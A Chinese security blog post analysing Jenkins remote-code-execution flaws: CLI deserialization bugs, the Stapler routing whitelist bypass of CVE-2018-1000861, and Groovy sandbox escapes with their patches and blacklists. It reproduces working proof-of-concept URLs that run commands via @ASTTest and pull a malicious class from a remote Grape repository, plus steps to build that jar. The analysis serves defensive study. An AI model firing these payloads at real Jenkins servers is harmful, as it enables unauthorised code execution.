Jenkins RCE漏洞分析汇总

2019-09-18 约 1009 字 预计阅读 5 分钟

声明:本文 【Jenkins RCE漏洞分析汇总】 由作者 l1nk3r 于 2019-09-18 09:23:35 首发 先知社区 曾经 浏览数 63 次

感谢 l1nk3r 的辛苦付出!

Jenkins RCE漏洞分析汇总

0x01 前言

之前针对Jenkins没注意看过,看到廖师傅kcon会议上讲的Java沙箱逃逸就涉及到了Jenkins,包括今年开年时候orange发的Jenkins的组合拳,拖拖拉拉到了年底还没看,所以准备开始看。

这里根据Jenkins的漏洞触发点做了一个归类,一种是通过cli的方式触发,一种是通过我们常见的http方式触发。

0x02 环境搭建

在catalina.sh添加,或者catalina.bat内容不动用如下命令开启,默认是开启8000端口
用如下命令开启

catalina.bat jpda start(Windows)
catalina.sh jpda start(linux)

0x03 漏洞分析

Cli方式触发

CVE-2015-8103

最早开始公开Java 反序列化的时候,何使用 Apache Commons Collections 这个常用库来构造 POP 链(类ROP链),这个在Jenkins上的例子就是这个编号,但是网上对于这个调用链的过程都没有进行分析,所以这里分析一下。

先看看之前那些exp的脚本,这里可以看到漏洞触发已经是和Jenkins的cli有关系,且这里走tcp socket通信的。

response = requests.get(jenkins_web_url, headers=i_headers)
cli_port = int(response.headers['X-Jenkins-CLI-Port'])
print('[+] Found CLI listener port: "%s"' % cli_port)

sock_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = urlparse.urlparse(jenkins_web_url).netloc
try:
    host, port = host.split(':')
except:
    host = host
cli_listener = (socket.gethostbyname(host), cli_port)
print('[+] Connecting CLI listener %s:%s' % cli_listener)
sock_fd.connect(cli_listener)

跟进一下看看。

漏洞分析

Jenkins cli的入口在这hudson.TcpSlaveAgentListener#ConnectionHandler,这个run构造方法,我们看到调用了p.handle方法。

handle也是一个抽象方法,这里根据前面的Protocol选择相关协议,这里的协议有两个一个是Cli,另一个是JnlpSlaveAgent。我们关注的其实是Cli这个东西。

跟进 hudson.cli.CliProtocol#handle ,这里实例化 CliProtocol.Handler 来处理,并且调用其中的run构造方法

public void handle(Socket socket) throws IOException, InterruptedException {
        (new CliProtocol.Handler(this.nio.getHub(), socket)).run();
    }

继续 hudson.cli.CliProtocol$Handler.run ,这里调用 runcli 针对socket连接进行处理。

继续跟进hudson.cli.CliProtocol$Handler.runCli,这的关键是下图标红色的地方。

这里调用 hudson.remoting.ChannelBuilder#build 来处理传入的buffer缓冲区的数据,跟进这个看看。

public Channel build(InputStream is, OutputStream os) throws IOException {
        return new Channel(this, this.negotiate(is, os));
    }

这里主要是调用 this.negotiate 来处理is和os,而is和os分别使我们缓冲区的输入和输出,跟进一下 hudson.remoting.ChannelBuilder.negotiate

negotiate会检查所有发往Jenkins CLI的命令中都包含某种格式的前导码(preamble),前导码格式通常为:<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=, 该前导码包含一个经过base64编码的序列化对象,我们抓个包看到这个前导码,也看到发序列化头部base64编码之后的关键字 rO0A

然后继续循环往下走,调用 Capability.read 处理buffer中的内容。

跟进 hudson.remoting.Capability#read ,标准的反序列化的输入点了,之后就是调用Commons Collections执行反序列化下一步的命令执行操作了。

修复方式

hudson.remoting.ClassFilter#check会检查是否在黑名单中。

目前默认的黑名单如下所示

private static final String[] DEFAULT_PATTERNS = new String[]{
"^bsh[.].*", 
"^com[.]google[.]inject[.].*", 
"^com[.]mchange[.]v2[.]c3p0[.].*", 
"^com[.]sun[.]jndi[.].*", 
"^com[.]sun[.]corba[.].*", 
"^com[.]sun[.]javafx[.].*", 
"^com[.]sun[.]org[.]apache[.]regex[.]internal[.].*", 
"^java[.]awt[.].*", 
"^java[.]rmi[.].*", 
"^javax[.]management[.].*", 
"^javax[.]naming[.].*", 
"^javax[.]script[.].*", 
"^javax[.]swing[.].*", 
"^org[.]apache[.]commons[.]beanutils[.].*", "^org[.]apache[.]commons[.]collections[.]functors[.].*", 
"^org[.]apache[.]myfaces[.].*", 
"^org[.]apache[.]wicket[.].*", 
".*org[.]apache[.]xalan.*", 
"^org[.]codehaus[.]groovy[.]runtime[.].*",
"^org[.]hibernate[.].*", 
"^org[.]python[.].*", 
"^org[.]springframework[.](?!(\\p{Alnum}+[.])*\\p{Alnum}*Exception$).*", 
"^sun[.]rmi[.].*",
"^javax[.]imageio[.].*", 
"^java[.]util[.]ServiceLoader$", 
"^java[.]net[.]URLClassLoader$"};

CVE-2017-1000353

漏洞分析
  • 漏洞编号: CVE-2017-1000353
  • 漏洞简述: Jenkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。
  • 影响版本: Jenkins-Ci Jenkins LTS < = 2.46.1

所以从上面这段引用可以看到,漏洞触发还是和cli有关系,我们来详细看看,首先入口在hudson.cli.CLIAction中,代码根据HTTP头部中的side的值来区分是 download 还是 upload 操作,然后根据http头部中session里面的uuid的值来区分不同的会话通道。

先跟进看一下download操作,位置在hudson.model.FullDuplexHttpChannel#download,下图中已经将重要部分代码标红了,如果没有接收到upload请求,那么这时候download操作就会阻塞等待,直到upload操作过来,然后建立新的channel对象,来处理upload接收到的请求和响应。

所以这里就要跟进Channel,前面我们说过针对cli方式触发的时候,会调用negotiate来检查格式是否正确,所以这里进入构造方法,实际上是下图中的代码。

Channel(ChannelBuilder settings, InputStream is, OutputStream os) throws IOException {
        this(settings, settings.negotiate(is, os));
    }

跟进hudson.remoting.ChannelBuilder#negotiate,这里会调用makeTransport方法。

跟进makeTransport方法,位置在hudson.remoting.ChannelBuilder#makeTransport,这个方法会根据cap是否支持Chunking来返回不同的对象,分别是ChunkedCommandTransportClassicCommandTransport

然后又进去hudson.remoting.Channel中的下图代码进行操作,这里红框圈出部分关键代码。这里会调用transport.setup处理对象CommandReceiver

而setup也是一个抽象类,会调用 hudson.remoting.SynchronousCommandTransport#setup 这个回启东一个ReaderThread线程来处理传入的CommandReceiver对象。

public void setup(Channel channel, CommandReceiver receiver) {
        this.channel = channel;
        (new SynchronousCommandTransport.ReaderThread(receiver)).start();
    }

跟进hudson.remoting.SynchronousCommandTransport#ReaderThread,这个方法会调用SynchronousCommandTransport.this.read

而这里的read是个抽象类,目前这个流程中,他的实现方法在hudson.remoting.ClassicCommandTransport中。

public final Command read() throws IOException, ClassNotFoundException {
        try {
            Command cmd = Command.readFrom(this.channel, this.ois);
            if (this.rawIn != null) {
                this.rawIn.clear();
            }

            return cmd;
        } catch (RuntimeException var2) {
            throw this.diagnoseStreamCorruption(var2);
        } catch (StreamCorruptedException var3) {
            throw this.diagnoseStreamCorruption(var3);
        }
    }

那么再跟进 hudson.remoting.Command#readFrom 就找到反序列化的触发点了。

修复方式

补丁地址

我们可以看到本次修复,实际上引入了 CVE-2015-8103 的黑名单,并且将 java.security.SignedObject 本次的反序列化绕过方法加入这个黑名单中。

HTTP方式触发

CVE-2018-1000861

动态路由分析

首先 Jenkins 会将所有请求交给org.kohsuke.stapler.Stapler来进行处理。

<servlet>
  <servlet-name>Stapler</servlet-name>
  <servlet-class>org.kohsuke.stapler.Stapler</servlet-class>
  <init-param>
    <param-name>default-encodings</param-name>
    <param-value>text/html=UTF-8</param-value>
  </init-param>
  <init-param>
    <param-name>diagnosticThreadName</param-name>
    <param-value>false</param-value>
  </init-param>
  <async-supported>true</async-supported>
</servlet>

跟进org.kohsuke.stapler.Stapler这个类中,简单缩减一下代码,如下所示:

protected @Override void service(HttpServletRequest req, HttpServletResponse rsp) throws ServletException, IOException {
        Thread t = Thread.currentThread();
        final String oldName = t.getName();
...
            if (servletPath.startsWith(BoundObjectTable.PREFIX)) {
                // serving exported objects
                invoke( req, rsp, webApp.boundObjectTable, servletPath.substring(BoundObjectTable.PREFIX.length()));
                return;
            }
...
            Object root = webApp.getApp();
            if(root==null)
                throw new ServletException("there's no \"app\" attribute in the application context.");

            // consider reusing this ArrayList.
            invoke( req, rsp, root, servletPath);
        } finally {
            t.setName(oldName);
        }
    }

其中 PREFIX 的值是/$stapler/bound/

public static final String PREFIX = "/$stapler/bound/";

也就是说在这里Jenkins会根据用户传入的URL不同,来调用不同的 webapp ,这里的invoke方法中有4个参数,它们分别是:

  • req:请求对象
  • rsp:响应对象
  • root:webapp节点
  • servletPath:经过路由解析后的对象

如果url以/$stapler/bound/开开头,那么它对应的root节点对象是:webApp.boundObjectTable(org.kohsuke.stapler.bind.BoundObjectTable),而这个root对象实际上如果不是动态调试静态看代码我是看不出来,所以我在这里下个断点,我可以看到这个root节点对象对应的类是 hudson.model.Hudson ,而这个类正是继承了 jenkins.model.Jenkins

继续向下跟进,跟进我们刚刚invoke方法,这个方法位置在 org.kohsuke.stapler.Stapler#invoke 。这个方法又调用了 invoke 来处理。

继续跟进,我们可以看到这里调用了 org.kohsuke.stapler.Stapler#tryInvoke 来进行处理。

详细跟进一下 org.kohsuke.stapler.Stapler#tryInvoke 这个方法,我截取部分代码如下:

boolean tryInvoke(RequestImpl req, ResponseImpl rsp, Object node ) throws IOException, ServletException {
        if(traceable())
            traceEval(req,rsp,node);

        if(node instanceof StaplerProxy) {
        ...
        }
        if (node instanceof StaplerOverridable) {
        ...
        }
        if(node instanceof StaplerFallback) {
        ...
        }

这里有三个根据不同的node节点进行相应操作instanceof,从代码中来看顺序应该是从上到下分别是:

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

而Jenkins这部分Routing Requests其实在文档中也写了:

所以说文档中的描述和代码中看到的是一致的,所以 tryInvoke 这个方法实际上做哦那个就是完成路由的分发,路由的绑定操作等。我们可以看看当我们传入/aa/bb/cc的时候,路由是如何选择。

当我们传入/aa/bb/cc的时候,对应的root根对象是hudson.model.Hudson,所以这里向根据这个node获取一个 metaClass 对象,然后轮询 MetaClass 中的 metaClass.dispatchers

但是这里具体如何操作还是有点懵逼,这里还是慢慢的跟一下,用 @orange 文章的白名单路由来做个文章,后面也会详细分析,路由为/securityRealm/user/test/ ,跟进org.kohsuke.stapler.WebApp#getMetaClass

public MetaClass getMetaClass(Object o) {
        return getMetaClass(getKlass(o));
    }

在这里面又调用了 getKlassgetMetaClass ,先看看 getKlass ,这里最后的return操作实例化相关类对象,这里对应的自然是我们前面路由分析的时候,如果url不是以/$stapler/bound/开头,对应的对象自然是 hudson.model.Hudson** 。

public Klass<?> getKlass(Object o) {
...
        return Klass.java(o.getClass());
    }

我们再看看 getMetaClass ,在 getMetaClass 中首先获取传入的类对象,然后实例化 MetaClass 针对传入的对象进行处理。

跟进 MetaClass ,来详细看看,我们可以看到这就是通过我们刚刚实例化的Klass类,然后根据这个类获取相应信息,最后使用 buildDispatchers

/*package*/ MetaClass(WebApp webApp, Klass<?> klass) {
        this.clazz = klass.toJavaClass();
        this.klass = klass;
        this.webApp = webApp;
        this.baseClass = webApp.getMetaClass(klass.getSuperClass());
        this.classLoader = MetaClassLoader.get(clazz.getClassLoader());
        buildDispatchers();
    }

跟进 org.kohsuke.stapler.MetaClass.buildDispatchers ,其实从注释里面就知道这个方法干啥的了。

简单翻译一下这个是处理路由调度的核心,他通过反射使用相关的类,并且确认由谁处理这个URL,这部分代码很长,而且也能看得出来Jenkins给了用户足够多的自由度,但有时候其实就是给你的自由过了火导致的问题,从代中把这些全部梳理了出来:

<obj>.do<token>(...) and other WebMethods:do(...)或者@WebMethods标注
<obj>.doIndex(...):doIndex(...)
<obj>js<token>:js(...)
method with @JavaScriptMethod:@JavaScriptMethod标注
NODE.TOKEN
NODE.getTOKEN():get()
NODE.getTOKEN(StaplerRequest):get(StaplerRequest)
<obj>.get<Token>(String):get(String)
<obj>.get<Token>(int):get(int)
<obj>.get<Token>(long):get(long)
<obj>.getDynamic(<token>,...):ggetDynamic(...)
<obj>.doDynamic(...):doDynamic(...)

随便找个例子,在处理node时候会先实例化 NameBasedDispatcher ,然后把这个加到 dispatchers 中,然后使用 doDispatch 处理传过来的请求,最后通过invoke反射的方式调用相关类。

所以我们回忆一下/securityRealm/user/test/的解析过程,在 org.kohsuke.stapler.Stapler 中这里的 d.dispatch 会处理传入的请求。

try {
            for( Dispatcher d : metaClass.dispatchers ) {
                if(d.dispatch(req,rsp,node)) {

这里的 dispathch 是一个抽象类,他的实现方法有下图中那么多,我们看到 NameBasedDispatcher 是不是有点眼熟。

跟进 org.kohsuke.stapler.NameBasedDispatcher#dispathch 这里有个 doDispatch ,实际上这个也是个抽象类,主要实现还是在 MetaClass 中的 buildDispatchers ,前面我们也了解过了 buildDispatchers 这个方法会根据node节点的不同选择不同的方法去实现。

这里简单画个代码流程图吧。

所以可以看到最后在 org.kohsuke.stapler.MetaClass 已经成功解析了我们传入的第一个node节点 securityRealm

紧接着解析第二个node节点时候,首先跟进这个getStapler返回的是当前stapler对象。

public Stapler getStapler() {
        return stapler;
    }

这里的ff是一个org.kohsuke.stapler.Function对象,它保存了当前根节点中方法的各种信息。

ff.invoke处理之后会返回Hudson.security.HudsonPrivateSecurityRealm,然后又会把这个东西带入到tryInvoke中进行第二次解析,就是这样循环下去。

现在再回头过看,我们之前用到一个payload:/securityRealm/user/test/,这个payload中的securityRealm是Jenkins的一个路由白名单,白名单是个什么情况呢,我们来看看。

首先前面提到过 tryInvoke 的时候,会进行三个优先级不同操作:

  • StaplerProxy
  • StaplerOverridable
  • StaplerFallback

根据优先级,首先进行的是 StaplerProxy ,我们详细看看这个,这个做了一个try的操作,跟进一下getTarget()方法。

而getTarget()的实现主要在这几个地方出现过。

在Jenkins中,入口是jenkins.model.Jenkins,所以跟进看看 jenkins.model.Jenkins#getTarget

首先checkPermission会进行权限进行检查,检查是否有读的权限,如果没有会抛出异常,而在异常里有一个isSubjectToMandatoryReadPermissionCheck对路径进行二次检测,如果这个检测没通过就退出,否则正常返回。继续跟进 jenkins.model.Jenkins#isSubjectToMandatoryReadPermissionCheck ,这里有个常量的白名单判断。

看看这个白名单的值,所以很明显了,如果请求的路径在这个白名单里面,那么就可以绕过权限校验。

ALWAYS_READABLE_PATHS = ImmutableSet.of("/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", new String[]{"/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity"});
跨物件操作导致白名单绕过

@orange 博客里面提到了这个,首先提到了几个事情:

1.在 Java 中, 所有的物件皆繼承 java.lang.Object 這個類別, 因此所有在 Java 中的物件皆存在著 getClass() 這個方法。

2.恰巧這個方法又符合动态路由调用get<token>(...)的命名規則, 因此 getClass() 可在 Jenkins 調用鏈中被動態呼叫

3.入口检查的白名单绕过

@orange 举了一个例子

http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content

会从上倒下依次执行

jenkins.model.Jenkins.getAdjuncts("whatever") 
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()

从这个例子中我们看到如果是xx.com/adjuncts/aa/bb/cc,那么jenkins就会去寻找getAa、getBb等相关get方法,也就是说在这里我们可以任意操作GETTER方法。

回到最早的用来测试路由/securityRealm/user/test,我们也很清楚的看到这里去寻找jenkins.model.Jenkins.getsecurityRealm()

利用链条

再回到orange给的这个路由/securityRealm/user/test,跟进去,这个我们之前聊过,根据这个路由解析过程应该是分别是getsecurityRealmgetUser,当解析getUser的时候来到的是hudson.security.HudsonPrivateSecurityRealm.getUser中。

跟进hudson.security.HudsonPrivateSecurityRealm.getUser,这里实际上和我们的url一致了,上图中的url实际上是user/test,这里根据传入的下一节点名当做 id,然后生成一个 User 出来,所以这里将test传入getUser构造方法中,并调用hudson.model.User进行处理,最后生成一个User出来,但是测试发现如果没有用户一样能够生成,具体原因没有去深究。

这里看看User的继承关系,这里有个hudson.model.DescriptorByNameOwner#getDescriptorByName

实际上是User中写了一个getDescriptorByName方法,是来自hudson.model.DescriptorByNameOwner#getDescriptorByName这个接口。

public Descriptor getDescriptorByName(String className) {
        return Jenkins.getInstance().getDescriptorByName(className);
    }

而这个方法中的实际上就是调用了Jenkins.getInstance().getDescriptorByName,跟进jenkins.model.Jenkins#getDescriptorByName,调用了jenkins.model.Jenkins#getDescriptor

public Descriptor getDescriptorByName(String id) {
        return this.getDescriptor(id);
    }

跟进jenkins.model.Jenkins#getDescriptor,这里根据id(string)来获取所有继承了Descriptor的子类

也就是说实际上我们通过构造/securityRealm/user/DescriptorByName/xxx就可以使用了继承了Descriptor这个的子类。

利用链:

Jenkins ->HudsonPrivateSecurityRealm->User->DescriptorByNameOwner->Jenkins->Descriptor

我们从登陆限制的情况下,利用这个方法可以绕过限制,从而达到未授权访问某些功能的目的。

沙盒绕过

Script Security Plugin相关的沙盒bypass在这里

SECURITY-1266:

从官方通告来看,更新了一个groovy沙盒绕过的问题。

可以看看orange给出的两个poc

http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
http://localhost:8080/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='Exp', root='http://127.0.0.1:9999/')%0a
@Grab(group='demo_server.exp', module='poc', version='2')%0a
import Exp;

分别开看看,可恶意看到的触发的类都是org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript,跟进来看。

DescriptorImpl方法继承了Descriptor,且在doCheckScript里面,实例化了GroovyShell对象,并且输出,根据前面的分析doCheckScript可控。

@ASTTest:执行断言的时候执行代码

这个和PHP的assert有点像。

Grab:引入外部恶意类

Grape是groovy内置的依赖管理引擎,而且在官方文档中,我们发现它可以将root地址自行指定,从而引入恶意类。

javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/

补丁:

地址

private static final List<Class<? extends Annotation>> BLOCKED_TRANSFORMS = ImmutableList.of(ASTTest.class, Grab.class);
SECURITY-1292:

commit地址

官方测试案例:

补丁:

SECURITY-1318、SECURITY-1319、SECURITY-1320、SECURITY-1321:

commit地址

SECURITY-1318:

@Grapes([@Grab(group='foo', module='bar', version='1.0')])\ndef foo\n
@GrabConfig(autoDownload=false)\ndef foo\n
@GrabExclude(group='org.mortbay.jetty', module='jetty-util')\ndef foo\n

SECURITY-1319:

@GrabResolver(name='restlet.org', root='http://maven.restlet.org')\ndef foo\n

SECURITY-1320:

import groovy.transform.ASTTest as lolwut\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@lolwut(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "int x\n" +
                "echo 'hello'\n", false
"import groovy.transform.*\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@groovy.transform.ASTTest(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "@Field int x\n" +
                "echo 'hello'\n", false

SECURITY-1321:

import groovy.transform.*\n" +
                "import jenkins.model.Jenkins\n" +
                "import hudson.model.FreeStyleProject\n" +
                "@AnnotationCollector([ASTTest]) @interface Lol {}\n" +
                "@Lol(value={ assert Jenkins.getInstance().createProject(FreeStyleProject.class, \"should-not-exist\") })\n" +
                "@Field int x\n" +
                "echo 'hello'\n", false

补丁:

还是1266修复时候那个方法,增强了黑名单。

BLOCKED_TRANSFORMS = 
ImmutableList.of(ASTTest.class.getCanonicalName(),
Grab.class.getCanonicalName(),
GrabConfig.class.getCanonicalName(), 
GrabExclude.class.getCanonicalName(), 
GrabResolver.class.getCanonicalName(),
Grapes.class.getCanonicalName(), 
AnnotationCollector.class.getCanonicalName());
SECURITY-1353:

commit地址

assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).getCountry()");
        assertRejected(new StaticWhitelist("staticMethod java.util.Locale getDefault"), "method java.util.Locale getCountry", "interface I {String getCountry()}; (Locale.getDefault() as I).country");
        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).getAvailableLocales()");
        assertRejected(new ProxyWhitelist(), "staticMethod java.util.Locale getAvailableLocales", "interface I {Locale[] getAvailableLocales()}; (Locale as I).availableLocales");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "(double) Math.max(2, 3)");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "Math.max(2, 3) as double");
        assertEvaluate(new StaticWhitelist("staticMethod java.lang.Math max int int"), 3.0d, "double x = Math.max(2, 3); x");
        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter asType java.lang.Object java.lang.Class",
            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.asType(['/tmp'], File); echo(/$f/)");
        assertRejected(new GenericWhitelist(), "staticMethod org.codehaus.groovy.runtime.ScriptBytecodeAdapter castToType java.lang.Object java.lang.Class",
            "def f = org.codehaus.groovy.runtime.ScriptBytecodeAdapter.castToType(['/tmp'], File); echo(/$f/)");
        assertRejected(new GenericWhitelist(), "new java.io.File java.lang.String",
            "def f = org.kohsuke.groovy.sandbox.impl.Checker.checkedCast(File, ['/tmp'], true, false, false); echo(/$f/)");

补丁:

在执行的时候只执行白名单,并且加强白名单和黑名单。

总结

可以看到这种RCE的漏洞,Jenkins从目前修复来看,基本上都是白名单、黑名单或者黑名单+白名单的方式,来解决问题。

0x04 漏洞利用

github上面有个项目叫做pwn_jenkins,总结了一些jenkins rce的利用方式,这项目还是不错的。

Reference

Jenkins%20RCE分析(CVE-2018-1000861分析

https://github.com/jenkinsci/jenkins/commit/f237601afd750a0eaaf961e8120b08de238f2c3f

https://github.com/jenkinsci/jenkins/commit/36b8285a41eb28333549e8d851f81fd80a184076

jenkins 无限制 rce 分析

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now